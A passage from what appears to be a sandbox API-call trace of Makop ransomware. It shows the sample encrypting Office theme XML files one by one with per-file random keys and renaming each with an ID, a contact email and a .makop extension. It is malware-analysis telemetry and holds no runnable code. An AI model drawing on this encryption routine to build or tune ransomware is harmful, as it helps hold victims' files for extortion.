lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.183] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.183] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a0, lpOverlapped=0x0) returned 1 [0158.183] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0158.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0158.184] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.184] SetEndOfFile (hFile=0xf0) returned 1 [0158.190] GetProcessHeap () returned 0x48a0000 [0158.190] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.190] GetProcessHeap () returned 0x48a0000 [0158.190] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.190] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.193] CloseHandle (hObject=0xf0) returned 1 [0158.194] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0158.194] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml") returned 74 [0158.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.195] GetProcessHeap () returned 0x48a0000 [0158.195] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.195] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.195] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0158.203] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.203] GetProcessHeap () returned 0x48a0000 [0158.203] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.203] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.203] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.203] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.203] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.203] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.204] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.204] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.204] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.204] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0158.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0158.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.205] SetEndOfFile (hFile=0xf0) returned 1 [0158.212] GetProcessHeap () returned 0x48a0000 [0158.212] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.212] GetProcessHeap () returned 0x48a0000 [0158.212] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.212] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0158.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.214] CloseHandle (hObject=0xf0) returned 1 [0158.214] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0158.214] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml") returned 79 [0158.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.215] GetProcessHeap () returned 0x48a0000 [0158.216] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.216] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0158.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.324] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.324] GetProcessHeap () returned 0x48a0000 [0158.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.324] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.324] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.325] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.325] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.325] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.326] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.326] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.326] SetEndOfFile (hFile=0xf0) returned 1 [0158.543] GetProcessHeap () returned 0x48a0000 [0158.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.543] GetProcessHeap () returned 0x48a0000 [0158.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.543] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.546] CloseHandle (hObject=0xf0) returned 1 [0158.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0158.546] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml") returned 77 [0158.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.547] GetProcessHeap () returned 0x48a0000 [0158.547] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.548] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.548] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0158.554] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.554] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.554] GetProcessHeap () returned 0x48a0000 [0158.555] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.555] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.555] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.555] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.555] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.556] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.556] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39e, lpOverlapped=0x0) returned 1 [0158.557] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0158.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.557] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0158.557] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.557] SetEndOfFile (hFile=0xf0) returned 1 [0158.564] GetProcessHeap () returned 0x48a0000 [0158.564] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.564] GetProcessHeap () returned 0x48a0000 [0158.564] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.564] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0158.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.566] CloseHandle (hObject=0xf0) returned 1 [0158.566] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0158.566] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml") returned 76 [0158.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.568] GetProcessHeap () returned 0x48a0000 [0158.568] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.568] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0158.573] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.573] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.573] GetProcessHeap () returned 0x48a0000 [0158.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.573] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.573] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.573] WriteFile 